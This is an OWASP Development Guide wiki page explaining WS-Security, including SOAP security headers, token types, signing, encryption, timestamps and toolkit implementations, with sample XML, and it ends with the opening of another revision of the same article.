One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">

</wsse:Security>
</soap:Header>
<soap:Body>

</soap:Body>
</soap:Envelope>

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">
<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi...
</wsse:BinarySecurityToken>
<xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
<dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
<xenc:CipherData>
<xenc:CipherValue>Nb0Mf...</xenc:CipherValue>
</xenc:CipherData>
<xenc:ReferenceList>
<xenc:DataReference URI="#aDNa2iD"/>
</xenc:ReferenceList>
</xenc:EncryptedKey>
<wsse:SecurityTokenReference wsu:Id="aZG0sG">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>
</wsse:SecurityTokenReference>
<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>
<wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">
<wsu:Created>2005-01-27T16:46:10Z</wsu:Created>
<wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>
</wsu:Timestamp>
<dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">
<dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">
...
<dsig:Reference URI="#s91397860">
...
<dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>
</dsig:Reference>
</dsig:SignedInfo>
<dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>
<dsig:KeyInfo>
<wsse:SecurityTokenReference>
<wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>
</wsse:SecurityTokenReference>
</dsig:KeyInfo>
</dsig:Signature>
</wsse:Security>
</soap:Header>
<soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">
<xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">
<xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>
<xenc:CipherData>
<xenc:CipherValue>XFM4J6C...</xenc:CipherValue>
</xenc:CipherData>
</xenc:EncryptedData>
</soap:Body>
</soap:Envelope>

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

<wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">
MIICtzCCAi...
</wsse:BinarySecurityToken>

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

<saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">
...
</saml:Assertion>

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

<wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">
<wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">
1106844369755
</wsse:KeyIdentifier>
</wsse:SecurityTokenReference>

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas.

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Web Services

2009-04-26T11:57:03Z

KirstenS: /* Referencing message parts */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

